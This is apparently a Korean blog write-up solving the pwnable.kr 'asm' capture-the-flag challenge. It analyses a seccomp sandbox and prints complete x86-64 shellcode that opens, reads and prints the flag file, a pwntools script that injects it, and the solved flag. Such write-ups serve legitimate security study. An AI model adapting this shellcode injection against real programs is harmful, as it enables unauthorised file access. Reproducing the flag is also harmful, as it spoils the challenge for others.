[pwnable.kr] asm

이동화·2025년 7월 23일

분석

linux에서 sandbox 메커니즘을 적용해주는 SECCOMP와 관련된 문제인 것 같다. 외부로부터 받은 프로그램을 보호된 영역 내부에서 실행하는 깁버으로, 가상화된 영역에 Allow list에 적용된 syscall 및 권한들만 허용된 상태에서 프로그램이 동작한다.

외부로부터 execve syscall이 호출되면 즉시 프로세스를 종료하는 정책을 사용하기에 취약점이 존재해도 공격이 먹히지 않는다는 특징을 가진다. seccomp_rule_add 함수를 통해 syscall 허용 여부를 결정한다.

문제 코드를 보면, mmap 함수를 통해서 메모리를 매핑한다.

mmap 함수의 인자는 다음과 같다.

void *mmap(void addr[.length], size_t length, int prot, int flags,
                  int fd, off_t offset);

0x41414000가 주소로 들어와 강제로 해당 주소에 0x1000만큼 매핑하고, 권한으로는 rwx가 모두 가능하도록 설정되어 있으며 이후 memset을 통해 전부 다 nop로 설정했다.

이후 stub bytecode를 복사하고, 그 뒤에 사용자의 입력을 받는다. 이후 sandbox 루틴을 호출하고, sh 메모리를 실행한다. 우선 stub에 있는 것은 gpt에 의하면 모든 범용 레지스터를 0으로 초기화하는 xor 명령어라고 한다.

48 31 c0    xor    rax, rax      ; RAX ← 0
48 31 db    xor    rbx, rbx      ; RBX ← 0
48 31 c9    xor    rcx, rcx      ; RCX ← 0
48 31 d2    xor    rdx, rdx      ; RDX ← 0
48 31 f6    xor    rsi, rsi      ; RSI ← 0
48 31 ff    xor    rdi, rdi      ; RDI ← 0
48 31 ed    xor    rbp, rbp      ; RBP ← 0

4d 31 c0    xor    r8,  r8       ; R8  ← 0
4d 31 c9    xor    r9,  r9       ; R9  ← 0
4d 31 d2    xor    r10, r10      ; R10 ← 0
4d 31 db    xor    r11, r11      ; R11 ← 0
4d 31 e4    xor    r12, r12      ; R12 ← 0
4d 31 ed    xor    r13, r13      ; R13 ← 0
4d 31 f6    xor    r14, r14      ; R14 ← 0
4d 31 ff    xor    r15, r15      ; R15 ← 0
void sandbox(){
        scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL);
        if (ctx == NULL) {
                printf("seccomp error\n");
                exit(0);
        }

        seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(open), 0);
        seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0);
        seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0);
        seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0);
        seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);

        if (seccomp_load(ctx) < 0){
                seccomp_release(ctx);
                printf("seccomp error\n");
                exit(0);
        }
        seccomp_release(ctx);
}

sandbox 함수를 보면, open, read, write, exit, exit_group를 allow list에 넣고 나머지는 kill하도록 설정되어있다.

근데 일단 open, read, write를 허용해 두었으면 파일 읽는고 flag 내용 출력하는거 자체는 어려울게 없다.

레지스터에 인자만 잘 넣어주어 어셈블리 형태로 코드 잘 짜면 된다.

문자열의 주소를 정확히 알 수는 있지만 (ASLR 없고, mmap base 주소가 고정되어 있음) call-pop 기법을 통해서도 간접적으로 rdi 레지스터에 문자열 시작 주소를 넣을 수 있다.

call <label> 이 다음 명령어의 주소(문자열)를 스택에 push하고, label에서 pop rdi로 그 주소를 꺼내 레지스터에 담는 장법으로 굳이 문자열이 아니어도 shellcode같은 bytecode가 어느 주소에 로드되든 고정된 offset 계산 없이 현재 코드 위치를 얻어내도록 하는 트릭 기법이다.

; read_and_print_asm_c.asm
; ——————————————————————————————————————————————
; 1) open("asm.c", O_RDONLY)
; 2) read(fd, rsp, 0x400)
; 3) write(1, rsp, bytes_read)
; 4) exit_group(0)
; ——————————————————————————————————————————————
BITS 64
org 0

start:
    jmp     short do_read

read_file:
    pop     rdi               ; rdi ← &filename
    xor     rsi, rsi          ; flags = O_RDONLY
    xor     rdx, rdx          ; mode  = 0
    mov     eax, 2            ; sys_open
    syscall                   ; rax = fd

    mov     rdi, rax          ; rdi = fd
    sub     rsp, 0x400        ; 버퍼로 쓸 스택 공간 확보
    mov     rsi, rsp          ; rsi = buffer
    mov     rdx, 0x400        ; rdx = 최대 읽기 바이트 수
    xor     eax, eax          ; sys_read
    syscall                   ; rax = 실제 읽은 바이트 수

    mov     rdx, rax          ; rdx = count
    mov     rdi, 1            ; rdi = stdout
    mov     eax, 1            ; sys_write
    syscall

    xor     edi, edi          ; exit code = 0
    mov     eax, 231          ; sys_exit_group
    syscall

do_read:
    call    read_file
    db      "this_is_pwnable.kr_flag_file_please_read_this_file...", 0

위 파일을 바이너리로 컴파일하고, xxd -i 옵션으로 byte형태로 추출, pwntools에서 bytes 함수를 통해 하나의 bytecode로 합친 후 입력값으로 넣어주면 flag를 출력할 수 있다.

from pwn import *


sh_bin = [
  0xeb, 0x3c, 0x5f, 0x48, 0x31, 0xf6, 0x48, 0x31, 0xd2, 0xb8, 0x02, 0x00,
  0x00, 0x00, 0x0f, 0x05, 0x48, 0x89, 0xc7, 0x48, 0x81, 0xec, 0x00, 0x04,
  0x00, 0x00, 0x48, 0x89, 0xe6, 0xba, 0x00, 0x04, 0x00, 0x00, 0x31, 0xc0,
  0x0f, 0x05, 0x48, 0x89, 0xc2, 0xbf, 0x01, 0x00, 0x00, 0x00, 0xb8, 0x01,
  0x00, 0x00, 0x00, 0x0f, 0x05, 0x31, 0xff, 0xb8, 0xe7, 0x00, 0x00, 0x00,
  0x0f, 0x05, 0xe8, 0xbf, 0xff, 0xff, 0xff, 0x74, 0x68, 0x69, 0x73, 0x5f,
  0x69, 0x73, 0x5f, 0x70, 0x77, 0x6e, 0x61, 0x62, 0x6c, 0x65, 0x2e, 0x6b,
  0x72, 0x5f, 0x66, 0x6c, 0x61, 0x67, 0x5f, 0x66, 0x69, 0x6c, 0x65, 0x5f,
  0x70, 0x6c, 0x65, 0x61, 0x73, 0x65, 0x5f, 0x72, 0x65, 0x61, 0x64, 0x5f,
  0x74, 0x68, 0x69, 0x73, 0x5f, 0x66, 0x69, 0x6c, 0x65, 0x2e, 0x73, 0x6f,
  0x72, 0x72, 0x79, 0x5f, 0x74, 0x68, 0x65, 0x5f, 0x66, 0x69, 0x6c, 0x65,
  0x5f, 0x6e, 0x61, 0x6d, 0x65, 0x5f, 0x69, 0x73, 0x5f, 0x76, 0x65, 0x72,
  0x79, 0x5f, 0x6c, 0x6f, 0x6f, 0x6f, 0x6f, 0x6f, 0x6f, 0x6f, 0x6f, 0x6f,
  0x6f, 0x6f, 0x6f, 0x6f, 0x6f, 0x6f, 0x6f, 0x6f, 0x6f, 0x6f, 0x6f, 0x6f,
  0x6f, 0x6f, 0x6f, 0x6f, 0x6f, 0x6f, 0x6f, 0x6f, 0x6f, 0x6f, 0x6f, 0x6f,
  0x6f, 0x6f, 0x6f, 0x6f, 0x6f, 0x6f, 0x6f, 0x6f, 0x6f, 0x6f, 0x6f, 0x6f,
  0x6f, 0x6f, 0x6f, 0x6f, 0x6f, 0x6f, 0x6f, 0x6f, 0x6f, 0x6f, 0x6f, 0x6f,
  0x6f, 0x6f, 0x6f, 0x6f, 0x6f, 0x6f, 0x6f, 0x6f, 0x6f, 0x6f, 0x6f, 0x6f,
  0x6f, 0x6f, 0x6f, 0x6f, 0x6f, 0x6f, 0x6f, 0x30, 0x30, 0x30, 0x30, 0x30,
  0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30,
  0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x6f, 0x6f, 0x6f, 0x6f,
  0x6f, 0x6f, 0x6f, 0x6f, 0x6f, 0x6f, 0x6f, 0x6f, 0x6f, 0x6f, 0x6f, 0x6f,
  0x6f, 0x6f, 0x6f, 0x6f, 0x6f, 0x6f, 0x6f, 0x30, 0x30, 0x30, 0x30, 0x30,
  0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x6f, 0x30, 0x6f, 0x30, 0x6f,
  0x30, 0x6f, 0x30, 0x6f, 0x30, 0x6f, 0x30, 0x6f, 0x6e, 0x67, 0x00
];

shellcode = bytes(sh_bin)
p = process("./asm")

p.recvuntil(b"asg")
p.recvuntil(b"x64 shellcode: ")
p.send(shellcode)
p.send(b'\n')
print(p.recvall(timeout=2))

Mak1ng_5helLcodE_i5_veRy_eaSy

writeup을 보면 shellcraft라는걸 이용한 사람들이 많았는데 기회가 된다면 나중에 알아봐야겠다

profile
notion이 나은듯

0개의 댓글